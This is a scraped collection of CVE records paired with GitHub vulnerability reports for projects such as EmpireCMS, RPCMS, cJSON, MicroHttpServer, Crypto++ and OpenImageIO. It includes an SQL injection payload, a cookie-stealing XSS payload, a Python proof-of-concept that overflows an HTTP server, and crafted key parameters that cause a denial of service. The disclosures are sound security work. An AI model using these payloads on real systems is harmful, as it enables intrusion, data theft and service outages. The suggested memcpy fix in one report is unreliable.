#6 0x55555557a6aa in plutosvg_load_from_memory (/home/waterfire/fuzz/example/plutosvg/build/example/example+0x266aa)
#7 0x55555557aa21 in plutosvg_load_from_file (/home/waterfire/fuzz/example/plutosvg/build/example/example+0x26a21)
#8 0x55555556405a in main (/home/waterfire/fuzz/example/plutosvg/build/example/example+0x1005a)
#9 0x7ffff66aac86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#10 0x555555563f19 in _start (/home/waterfire/fuzz/example/plutosvg/build/example/example+0xff19)
```
# Analysis
`plutosvg_load_from_memory` does not check the size of `width` and `height` and calls `plutovg_surface_create(width, height);`.
In plutovg_surface_create:
```C
plutovg_surface_t* plutovg_surface_create(int width, int height)
{
plutovg_surface_t* surface = malloc(sizeof(plutovg_surface_t));
surface->ref = 1;
surface->owndata = 1;
surface->data = calloc(1, (size_t)(width * height * 4));
surface->width = width;
surface->height = height;
surface->stride = width * 4;
return surface;
}
```
An integer overflow might happen when calculating `width * height * 4`. It might be better to check the sizes of `width` and `height` before the allocation.
# PoC
[poc.zip](https://github.com/sammycage/plutosvg/files/12682211/poc.zip)
| CWE-131 (Incorrect Calculation of Buffer Size) in plutosvg_load_from_memory | https://api.github.com/repos/sammycage/plutosvg/issues/7/comments | 4 | 2023-09-21T08:28:35Z | 2024-08-02T18:05:07Z | https://github.com/sammycage/plutosvg/issues/7 | 1,906,410,380 | 7 | 5,812 |
CVE-2023-50073 | 2023-12-14T15:15:10.260 | EmpireCMS v7.5 was discovered to contain a SQL injection vulnerability via the ftppassword parameter at SetEnews.php. | {
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] | **Brief of this vulnerability**
EmpireCMS v7.5 has an SQL injection vulnerability when configuring FTP passwords
**Test Environment**
Windows10
PHP 5.4.45+Apache/2.4.39
**Affect version**
EmpireCMS 7.5
**Vulnerable Code**
e\admin\SetEnews.php line 353
**Vulnerability display**
First enter the background
Click to add and capture the packet
Modify parameters
payload：ftppassword=test'+and+(updatexml(1,concat(0x3a,(database())),1))+and'
Successfully obtained the database name | EmpireCMS v7.5 SetEnews.php has sql injection vulnerability | https://api.github.com/repos/leadscloud/EmpireCMS/issues/7/comments | 0 | 2023-11-30T05:06:37Z | 2023-11-30T05:06:37Z | https://github.com/leadscloud/EmpireCMS/issues/7 | 2,017,884,152 | 7 | 5,813 |
CVE-2023-50565 | 2023-12-14T15:15:10.410 | A cross-site scripting (XSS) vulnerability in the component /logs/dopost.html in RPCMS v3.5.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. | {
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2、"导航"：
3、“文章”->"超链接“：
Change the burpsutie packet capture, remove http://, and encode the HTML entity in front of alert():
payload: javascript%26%23x3a%3Balert(document.cookie)
| Multiple stored XSS vulnerabilities in rpcms 3.5.5 | https://api.github.com/repos/ralap-z/rpcms/issues/7/comments | 1 | 2023-12-07T06:24:21Z | 2024-04-25T10:43:20Z | https://github.com/ralap-z/rpcms/issues/7 | 2,029,997,585 | 7 | 5,814 |
CVE-2023-50566 | 2023-12-14T15:15:10.460 | A stored cross-site scripting (XSS) vulnerability in EyouCMS-V1.6.5-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Public Security Registration Number parameter. | {
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Vulnerability point 1:
"基本信息"->"备案号"&“公安备案号”->"代码模式",HTML code can be edited directly：
Vulnerability point 2:
“广告管理”：
Vulnerability point 3:
In rich text editing, the front end will automatically add http to the hyperlink, but it can be bypassed by capturing the packet：
Delete http://
| EyouCMS-V1.6.5-UTF8-SP1 has a stored XSS vulnerability | https://api.github.com/repos/weng-xianhu/eyoucms/issues/56/comments | 1 | 2023-12-08T08:39:23Z | 2024-03-22T06:31:10Z | https://github.com/weng-xianhu/eyoucms/issues/56 | 2,032,215,326 | 56 | 5,815 |
CVE-2023-6563 | 2023-12-14T18:15:45.540 | An unconstrained memory consumption vulnerability was discovered in Keycloak. It can be triggered in environments which have millions of offline tokens (> 500,000 users with each having at least 2 saved sessions). If an attacker creates two or more user sessions and then open the "consents" tab of the admin User Interface, the UI attempts to load a huge number of offline client sessions leading to excessive memory and CPU consumption which could potentially crash the entire system. | {
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"770"
] | 770 | https://github.com/keycloak/keycloak/issues/13340 | [
"Issue Tracking"
] | github.com | [
"keycloak",
"keycloak"
] | ### Describe the bug
We have approx. 6 million offline sessions in the database and enabled lazy loading of offline sessions.
We ran into performance issues:
If a user has >= 2 user sessions and you open the consents tab in the admin UI for this user, the following code tries to load the corresponding offline client sessions:
https://github.com/keycloak/keycloak/blob/febb447919044943241ad97200821c7da5099cb3/model/jpa/src/main/java/org/keycloak/models/jpa/session/JpaUserSessionPersisterProvider.java#L383
The where clause:
sess.userSessionId >= :fromSessionId and sess.userSessionId <= :toSessionId
can cause the query to load lots of client sesssions.
In our test the user had 2 user sessions with the IDs 156db9e9-d2ad-4168-89ba-21818a475dcc' and 'd4fed476-52c3-44d6-a510-7db0158dc032'
The query tried to load about 3 million client sessions.
The long-running query leads to infinispan timeout exceptions and can even cause the kubernetes pods to get unhealthy.
The where clause had been changed from an IN-clause to the above BETWEEN-clause in this PR: https://github.com/keycloak/keycloak/pull/8012/files#diff-9e427660baeacfeb4c94e0dcbede5ae96e7be4355554023fcd204118e75fe40dL269
### Version
15.1.1
### Expected behavior
Offline user sessions are displayed in the user's consent tab and can be revoked.
### Actual behavior
Click on user consents tab causes severe performacance issues and infinispan timeout exceptions and may even cause pods to get unhealthy or the service to crash completely.
### How to Reproduce?
- a lot of offline sessions (> 1 million)
- enable lazy loading of offline sessions
- create 2 offline sessions for 1 user (login with scope offline_access)
- open admin UI, open user, click on consents tab
### Anything else?
_No response_ | Performance Issues with many offline sessions | https://api.github.com/repos/keycloak/keycloak/issues/13340/comments | 8 | 2022-07-26T15:15:00Z | 2023-03-04T17:35:10Z | https://github.com/keycloak/keycloak/issues/13340 | 1,318,390,700 | 13,340 | 5,816 |
CVE-2023-50471 | 2023-12-14T20:15:53.130 | cJSON v1.7.16 was discovered to contain a segmentation violation via the function cJSON_InsertItemInArray at cJSON.c. | {
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] | 476 | https://github.com/DaveGamble/cJSON/issues/802 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"DaveGamble",
"cJSON"
] | ### Description
If the the newitem passed in cJSON_InsertItemInArray dont have `prev`, the `newitem->prev`will be null. The null pointer dereference will cause SEGV in function cJSON_InsertItemInArray cJSON.c:2287
### Version
```
commit cb8693b058ba302f4829ec6d03f609ac6f848546 (HEAD -> master, tag: v1.7.16, origin/master, origin/HEAD)
Author: Alan Wang <wp_scut@163.com>
Date: Wed Jul 5 11:22:19 2023 +0800
```
### Related Code
```c
CJSON_PUBLIC(cJSON_bool) cJSON_InsertItemInArray(cJSON *array, int which, cJSON *newitem)
{
cJSON *after_inserted = NULL;
if (which < 0)
{
return false;
}
after_inserted = get_array_item(array, (size_t)which);
if (after_inserted == NULL)
{
return add_item_to_array(array, newitem);
}
newitem->next = after_inserted;
newitem->prev = after_inserted->prev;
after_inserted->prev = newitem;
if (after_inserted == array->child)
{
array->child = newitem;
}
else
{
newitem->prev->next = newitem; // <== here
}
return true;
}
```
### Impact
Potentially causing DoS | bug for cJSON_InsertItemInArray function | https://api.github.com/repos/DaveGamble/cJSON/issues/802/comments | 4 | 2023-12-04T07:33:34Z | 2023-12-22T08:21:14Z | https://github.com/DaveGamble/cJSON/issues/802 | 2,023,209,854 | 802 | 5,817 |
CVE-2023-50472 | 2023-12-14T20:15:53.180 | cJSON v1.7.16 was discovered to contain a segmentation violation via the function cJSON_SetValuestring at cJSON.c. | {
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] | 476 | https://github.com/DaveGamble/cJSON/issues/803 | [
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] | github.com | [
"DaveGamble",
"cJSON"
] | ### Description
If the the object passed in cJSON_SetValuestring dont have `valuestring`, the `object->valuestring`will be null. The null pointer dereference will cause SEGV in function cJSON_SetValuestring cJSON.c:408
### Version
```
commit cb8693b058ba302f4829ec6d03f609ac6f848546 (HEAD -> master, tag: v1.7.16, origin/master, origin/HEAD)
Author: Alan Wang <wp_scut@163.com>
Date: Wed Jul 5 11:22:19 2023 +0800
```
### Related Code
```c
CJSON_PUBLIC(char*) cJSON_SetValuestring(cJSON *object, const char *valuestring)
{
char *copy = NULL;
/* if object's type is not cJSON_String or is cJSON_IsReference, it should not set valuestring */
if (!(object->type & cJSON_String) || (object->type & cJSON_IsReference))
{
return NULL;
}
if (strlen(valuestring) <= strlen(object->valuestring)) // <== here
{
strcpy(object->valuestring, valuestring);
return object->valuestring;
}
copy = (char*) cJSON_strdup((const unsigned char*)valuestring, &global_hooks);
if (copy == NULL)
{
return NULL;
}
if (object->valuestring != NULL)
{
cJSON_free(object->valuestring);
}
object->valuestring = copy;
return copy;
}
```
### Impact
Potentially causing DoS | bug for cJSON_SetValuestring | https://api.github.com/repos/DaveGamble/cJSON/issues/803/comments | 4 | 2023-12-04T08:51:18Z | 2023-12-18T03:48:00Z | https://github.com/DaveGamble/cJSON/issues/803 | 2,023,332,797 | 803 | 5,818 |
CVE-2023-6886 | 2023-12-17T01:15:27.307 | A vulnerability was found in xnx3 wangmarket 6.1. It has been rated as critical. Affected by this issue is some unknown functionality of the component Role Management Page. The manipulation leads to code injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-248246 is the identifier assigned to this vulnerability. | {
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| Cross Site Scripting | https://api.github.com/repos/xnx3/wangmarket/issues/8/comments | 2 | 2023-11-29T06:27:11Z | 2023-12-12T12:13:16Z | https://github.com/xnx3/wangmarket/issues/8 | 2,015,905,927 | 8 | 5,819 |
CVE-2023-50965 | 2023-12-17T02:15:21.267 | In MicroHttpServer (aka Micro HTTP Server) through 4398570, _ReadStaticFiles in lib/middleware.c allows a stack-based buffer overflow and potentially remote code execution via a long URI. | {
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"starnight",
"MicroHttpServer"
] | Hi
After executing my fuzz tests, I discovered a remote stack buffer overflow in the C version of MicroHttpServer in the function uint8_t _ReadStaticFiles(HTTPReqMessage *req, HTTPResMessage *res) at lib/middleware.c, line 67:
https://github.com/starnight/MicroHttpServer/blob/43985708ef5fe7677392c54e229bd22e136c2665/c-version/lib/middleware.c#L67
Any server or embedded application that utilizes MicroHttpServer is potentially at risk of remote code execution. I've included reproduction steps in the following sections.
### Makefile Modifications
The following modifications were made to the Makefile to compile the server with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the stack buffer overflow:
```
PROJ=microhttpserver
CC=gcc
INCLUDES=-Ilib
DEFS=-D_PARSE_SIGNAL_ -D_PARSE_SIGNAL_INT_ -DDEBUG_MSG -DENABLE_STATIC_FILE=1
CFLAGS=-Os -Wall -fsanitize=address -g
SRCS=main.c app.c lib/server.c lib/middleware.c
all:
$(CC) $(SRCS) $(INCLUDES) $(DEFS) $(CFLAGS) -o $(PROJ)
clean:
rm -rf *.out *.bin *.exe *.o *.a *.so *.list *.img test build $(PROJ)
```
### Proof of Concept Python3 Script
Save the following script to a file named poc.py:
```
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8001))
sock.send(b"GET /"+b"%s"*5000+b" HTTP/1.1\r\nHost:localhost:8001\r\n\r\n")
response = sock.recv(4096)
sock.close()
```
### Starting MicroHttpServer
```
$ ./microhttpserver
```
### Execute our Python3 Script
```
$ python3 poc.py
```
### Address Sanitizer Output
The following output is produced by address sanitizer, confirming the existence of the stack buffer overflow:
```
Listening
Accept 1 client. 127.0.0.1:35914
Parse Header
Parse body
=================================================================
==268450==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc75d79c90 at pc 0x7f141a66dcbf bp 0x7ffc75d79b50 sp 0x7ffc75d79310
WRITE of size 10001 at 0x7ffc75d79c90 thread T0
#0 0x7f141a66dcbe in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:899
#1 0x5632c9deeb74 in _ReadStaticFiles lib/middleware.c:67
#2 0x5632c9deef9b in Dispatch lib/middleware.c:138
#3 0x5632c9dee12b in _HTTPServerRequest lib/server.c:316
#4 0x5632c9dee12b in _HTTPServerRequest lib/server.c:308
#5 0x5632c9dee4e8 in HTTPServerRun lib/server.c:350
#6 0x5632c9dec3c9 in main /home/kali/projects/fuzzing/MicroHttpServer/c-version/main.c:27
#7 0x7f141a4456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#8 0x7f141a445784 in __libc_start_main_impl ../csu/libc-start.c:360
#9 0x5632c9dec460 in _start (/home/kali/projects/fuzzing/MicroHttpServer/c-version/microhttpserver+0x2460) (BuildId: 39e1eff8cc6e7225cc4b4972fb5564788133b49d)
Address 0x7ffc75d79c90 is located in stack of thread T0 at offset 288 in frame
#0 0x5632c9dee8a3 in _ReadStaticFiles lib/middleware.c:36
This frame has 2 object(s):
[48, 127) 'header' (line 47)
[160, 288) 'path' (line 45) <== Memory access at offset 288 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:899 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x7ffc75d79a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ffc75d79a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ffc75d79b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
0x7ffc75d79b80: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 07 f2 f2
0x7ffc75d79c00: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ffc75d79c80: 00 00[f3]f3 f3 f3 00 00 00 00 00 00 00 00 00 00
0x7ffc75d79d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ffc75d79d80: 00 00 f1 f1 f1 f1 00 00 f2 f2 00 00 00 00 00 00
0x7ffc75d79e00: 00 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2 00 00
0x7ffc75d79e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 f3
0x7ffc75d79f00: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==268450==ABORTING
```
### Impact
* [Remote Code Execution](https://www.cloudflare.com/learning/security/what-is-remote-code-execution/)
* [Denial of Service](https://attack.mitre.org/techniques/T0814/)
### Mitigation
The issue here is that memcpy is copying the value of 'uri' to 'path+srlen(STATIC_FILE_FOLDER)', but the size of the uri is larger than the destination buffer.
Buffer overflow vulnerability:
```
memcpy(path + strlen(STATIC_FILE_FOLDER), uri, strlen(uri));
```
This can be modified to prevent a buffer overflow:
```
memcpy(path + strlen(STATIC_FILE_FOLDER), uri, strlen(path) + strlen(STATIC_FILE_FOLDER));
```
### References
* [Buffer Overflow (CWE-121)](https://cwe.mitre.org/data/definitions/121.html)
* [OWASP Buffer Overflow Vulnerabilities](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)
* [Address Sanitizer](https://github.com/google/sanitizers/wiki/AddressSanitizer) | Remote Buffer Overflow at lib/middleware.c | https://api.github.com/repos/starnight/MicroHttpServer/issues/5/comments | 1 | 2023-12-15T01:39:17Z | 2023-12-18T15:01:58Z | https://github.com/starnight/MicroHttpServer/issues/5 | 2,042,748,811 | 5 | 5,820 |
CVE-2023-50976 | 2023-12-18T00:15:11.253 | Redpanda before 23.1.21 and 23.2.x before 23.2.18 has missing authorization checks in the Transactions API. | {
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"redpanda-data",
"redpanda"
] | Backport https://github.com/redpanda-data/redpanda/pull/14969 to branch v23.1.x. Note that this issue was created as a placeholder, since the original PR's commit(s) could not be automatically cherry-picked.
Here are the commands to execute:
```
git checkout v23.1.x
git checkout -b vbotbuildovich/backport-14969-v23.1.x-395
git cherry-pick -x eb5e56f20932345b825d093bc74798ff64db2763 6196b0775df01d58f88908bae9b1adecfa562780 9ef71b66e133597ff08e58503cbed52816e99fdc 7ad4a77a6e897e75ed8985335a64d459af3a7236 c4b96da04d74ee1226916edac9f4911ee1823131 073cae5f4d8c6074a1de91b2836a52cc8749432c
git push origin vbotbuildovich/backport-14969-v23.1.x-395
gh pr create \
--title "[v23.1.x] Transactions API Authorization" \
--base "v23.1.x" \
--label "kind/backport" \
--head "vbotbuildovich/backport-14969-v23.1.x-395" \
--draft \
--repo "redpanda-data/redpanda" \
--reviewer "ztlpn,mmaslankaprv,michael-redpanda" \
--milestone "v23.1.x-next" \
--body "Backport of PR https://github.com/redpanda-data/redpanda/pull/14969 " | [v23.1.x] Transactions API Authorization | https://api.github.com/repos/redpanda-data/redpanda/issues/15048/comments | 1 | 2023-11-20T15:56:01Z | 2023-12-12T12:41:47Z | https://github.com/redpanda-data/redpanda/issues/15048 | 2,002,513,380 | 15,048 | 5,821 |
CVE-2023-50979 | 2023-12-18T04:15:50.970 | Crypto++ (aka cryptopp) through 8.9.0 has a Marvin side channel during decryption with PKCS#1 v1.5 padding. | {
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] | github.com | [
"weidai11",
"cryptopp"
] | ### Crypto++ Issue Report
I've verified that the Crypto++ is vulnerable to the [Marvin Attack](https://people.redhat.com/~hkario/marvin/)—a timing variant of the well-known Bleichenbacher attack.
I've executed the test on ArchLinux, using crypto++ 8.9.0 from the Arch repository.
The reproducer is available in the [marvin-toolkit](https://github.com/tomato42/marvin-toolkit/tree/master/example/crypto%2B%2B) repository. It was compiled with a simple `g++ -o time_decrypt -lcryptopp time_decrypt.cpp`.
When executed on AMD Ryzen 5 5600X, I'm able to detect a side-channel signal when performing decryption with PKCS#1 v1.5 padding. The results are statistically significant with just few hundred measurement pairs, but below I'm showing results of a run with 100k repeats to show the size of the side-channel more clearly.
The test summary:
```
Sign test mean p-value: 0.2339, median p-value: 4.255e-12, min p-value: 3.18e-88
Friedman test (chisquare approximation) for all samples
p-value: 0.0
Worst pair: 1(no_header_with_payload_48), 5(valid_0)
Mean of differences: 3.61457e-07s, 95% CI: 2.63026e-07s, 4.577243e-07s (±9.735e-08s)
Median of differences: 4.80000e-07s, 95% CI: 4.30000e-07s, 5.200001e-07s (±4.500e-08s)
Trimmed mean (5%) of differences: 3.84809e-07s, 95% CI: 3.26061e-07s, 4.382825e-07s (±5.611e-08s)
Trimmed mean (25%) of differences: 4.82399e-07s, 95% CI: 4.37442e-07s, 5.255875e-07s (±4.407e-08s)
Trimmed mean (45%) of differences: 4.77529e-07s, 95% CI: 4.31482e-07s, 5.214141e-07s (±4.497e-08s)
Trimean of differences: 4.63125e-07s, 95% CI: 4.07500e-07s, 5.025002e-07s (±4.750e-08s)
Layperson explanation: Definite side-channel detected, implementation is VULNERABLE
```
legend:
```
ID,Name
0,header_only
1,no_header_with_payload_48
2,no_padding_48
3,no_structure
4,signature_padding_8
5,valid_0
6,valid_48
7,valid_192
8,valid_246
9,valid_repeated_byte_payload_246_1
10,valid_repeated_byte_payload_246_255
11,zero_byte_in_padding_48_4
```
Explanation for the ciphertexts is in the [`step2.py`](https://github.com/tomato42/marvin-toolkit/blob/master/step2.py) file.
As can be read from the graph, there's a clear difference between valid (probes 5, 6, and 7) and invalid ciphertexts. Moreover, the probe 2 is significantly different from others, which suggests a side-channel leakage in the numerical library (the last multiplication to apply deblinder, the last Montgormery reduction, or conversion of the arbitrary precision integer to a byte string), which means that that _all_ padding modes that use the same RSADP() primitive will be similarly vulnerable, that means RSA-OAEP too.
(side note: I'm not a C++ programmer, so any help to make the reproducer cleaner, and command-line configurable, like the ones for openssl, pyca-cryptography, etc. will be really appreciated) | Crypto++ vulnerable to the Marvin Attack | https://api.github.com/repos/weidai11/cryptopp/issues/1247/comments | 1 | 2023-11-12T12:57:41Z | 2024-01-29T00:45:42Z | https://github.com/weidai11/cryptopp/issues/1247 | 1,989,391,420 | 1,247 | 5,822 |
CVE-2023-50981 | 2023-12-18T04:15:51.147 | ModularSquareRoot in Crypto++ (aka cryptopp) through 8.9.0 allows attackers to cause a denial of service (infinite loop) via crafted DER public-key data associated with squared odd numbers, such as the square of 268995137513890432434389773128616504853. | {
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"weidai11",
"cryptopp"
] | Hi, recently I found a security issue in the [ModularSquareRoot](https://github.com/weidai11/cryptopp/blob/3e3b8af96d4d957b77588be91df7715efbe2ed69/nbtheory.cpp#L544) function of `Crypto++` library that would cause an infinite loop, since this function is being used in [ECP::DecodePoint](https://github.com/weidai11/cryptopp/blob/93208e83937a351babdfd9cfa07d7908ba15f68b/ecp.cpp#L117), an attacker could potentially craft a malformed DER public key file, and any user or server attempting to read this public key file in processes such as ECDSA may be susceptible to a DOS attack.
### Issue
The issue lies in [the second while loop](https://github.com/weidai11/cryptopp/blob/3e3b8af96d4d957b77588be91df7715efbe2ed69/nbtheory.cpp#L558) in this function, the loop starts with `n = 2` and increments `n` by one each time until we find an `n` such that `Jacobi(n, p) = -1`. However, this overlooks the case when `p` is in the form of `m^2` and `m` is an odd number.
In this case, `jacobi(n, p) = jacobi(n, m^2)` can be converted into the product of a series of squares of Jacobi symbols using the properties of Jacobi symbols, this means that its value can only be `1` or `0` but not `-1`, therefore, no matter how `n` continues to increase, it will never satisfy `Jacobi(n, p) = -1` to break out of the loop, thus leading to an infinite loop.
Furthermore, since this function is being used in `ECP::DecodePoint`, we can construct a malformed DER public key file that includes an elliptic curve parameter `p` as:
```
72358384006116823815439217615866351214375729203207450702838342058601772551609
```
which is the square of:
```
268995137513890432434389773128616504853
```
and repackage it into a DER file, then any attempt to read and parse this DER file in `Crypto++` will trigger an infinite loop immediately.
In addition, since the `ModularSquareRoot` function is in the branch that handles `03` compression encoding, we need to ensure that the points in the constructed DER file are in compressed form (start with `03`).
### Fix
To fix this issue, the simplest method is to check whether `p` is a prime number at the beginning of the `ModularSquareRoot` function. If it is not a prime number, then directly reject any further calculations (after all, even if it is not rejected, the result calculated in this way will be wrong). | A security issue in the `ModularSquareRoot` function leads to a DOS attack | https://api.github.com/repos/weidai11/cryptopp/issues/1249/comments | 10 | 2023-11-20T11:59:01Z | 2025-01-05T00:57:25Z | https://github.com/weidai11/cryptopp/issues/1249 | 2,002,042,178 | 1,249 | 5,823 |
CVE-2023-3430 | 2023-12-18T14:15:08.113 | A vulnerability was found in OpenImageIO, where a heap buffer overflow exists in the src/gif.imageio/gifinput.cpp file. This flaw allows a remote attacker to pass a specially crafted file to the application, which triggers a heap-based buffer overflow and could cause a crash, leading to a denial of service. | {
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"Third Party Advisory"
] | github.com | [
"AcademySoftwareFoundation",
"OpenImageIO"
] | Describe the bug:
Hi, I found heap-buffer-overflow in file src/gif.imageio/gifinput.cpp, line 368.
To Reproduce:
Steps to reproduce the behavior:
1. CC=afl-clang-fast CXX=afl-clang-fast++ CFLAGS="-gdwarf-2 -g3 -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="-gdwarf-2 -g3 -O0 -fsanitize=address -fno-omit-frame-pointer" LDFLAGS="-fsanitize=address" cmake .. -DCMAKE_CXX_STANDARD=17
2. make && make install
3. iconvert poc /tmp/res
poc file:
[poc.zip](https://github.com/OpenImageIO/oiio/files/11477492/poc.zip)
Evidence:
==1483==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000a3f9 at pc 0x7f8fd7a5f640 bp 0x7ffd22f8daf0 sp 0x7ffd22f8dae8
READ of size 1 at 0x60200000a3f9 thread T0
#0 0x7f8fd7a5f63f in OpenImageIO_v2_4::GIFInput::read_subimage_data() /root/github/oiio-2.4.11.0_1/src/gif.imageio/gifinput.cpp:368:65
#1 0x7f8fd7a57713 in OpenImageIO_v2_4::GIFInput::seek_subimage(int, int) /root/github/oiio-2.4.11.0_1/src/gif.imageio/gifinput.cpp:449:10
#2 0x7f8fd7a559af in OpenImageIO_v2_4::GIFInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_4::ImageSpec&) /root/github/oiio-2.4.11.0_1/src/gif.imageio/gifinput.cpp:165:9
#3 0x7f8fd75febcf in OpenImageIO_v2_4::ImageInput::create(OpenImageIO_v2_4::basic_string_view<char, std::char_traits<char> >, bool, OpenImageIO_v2_4::ImageSpec const*, OpenImageIO_v2_4::Filesystem::IOProxy*, OpenImageIO_v2_4::basic_string_view<char, std::char_traits<char> >) /root/github/oiio-2.4.11.0_1/src/libOpenImageIO/imageioplugin.cpp:786:27
#4 0x7f8fd7552674 in OpenImageIO_v2_4::ImageInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_4::ImageSpec const*, OpenImageIO_v2_4::Filesystem::IOProxy*) /root/github/oiio-2.4.11.0_1/src/libOpenImageIO/imageinput.cpp:112:16
#5 0x564781f3b48f in convert_file(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /root/github/oiio-2.4.11.0_1/src/iconvert/iconvert.cpp:330:15
#6 0x564781f4006f in main /root/github/oiio-2.4.11.0_1/src/iconvert/iconvert.cpp:523:14
#7 0x7f8fd493fd8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d)
#8 0x7f8fd493fe3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d)
#9 0x564781e7ac74 in _start (/root/github/oiio-2.4.11.0_1/dist/bin/iconvert+0x40c74) (BuildId: ac1803a32a6497261464974329db9ccd18ce83ad)
0x60200000a3f9 is located 3 bytes to the right of 6-byte region [0x60200000a3f0,0x60200000a3f6)
allocated by thread T0 here:
#0 0x564781efdca8 in __interceptor_calloc (/root/github/oiio-2.4.11.0_1/dist/bin/iconvert+0xc3ca8) (BuildId: ac1803a32a6497261464974329db9ccd18ce83ad)
#1 0x7f8fd22f6b98 in GifMakeMapObject (/lib/x86_64-linux-gnu/libgif.so.7+0x3b98) (BuildId: 1fff7899d615250f1b273a11e966d1347b233009)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/github/oiio-2.4.11.0_1/src/gif.imageio/gifinput.cpp:371:65 in OpenImageIO_v2_4::GIFInput::read_subimage_data()
Shadow bytes around the buggy address:
0x0c047fff9420: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff9430: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff9440: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff9450: fa fa 00 fa fa fa 00 fa fa fa fd fa fa fa fd fd
0x0c047fff9460: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
=>0x0c047fff9470: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 06[fa]
0x0c047fff9480: fa fa 04 fa fa fa 01 fa fa fa fa fa fa fa fa fa
0x0c047fff9490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1483==ABORTING
Platform information:
OIIO branch/version: 2.4.11
OS: Linux
C++ compiler: clang-14.0.6
| heap-buffer-overflow in file src/gif.imageio/gifinput.cpp, line 368 | https://api.github.com/repos/AcademySoftwareFoundation/OpenImageIO/issues/3840/comments | 13 | 2023-05-15T11:55:43Z | 2024-09-05T17:39:38Z | https://github.com/AcademySoftwareFoundation/OpenImageIO/issues/3840 | 1,709,938,318 | 3,840 | 5,824 |
CVE-2023-48795 | 2023-12-18T16:15:10.897 | The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 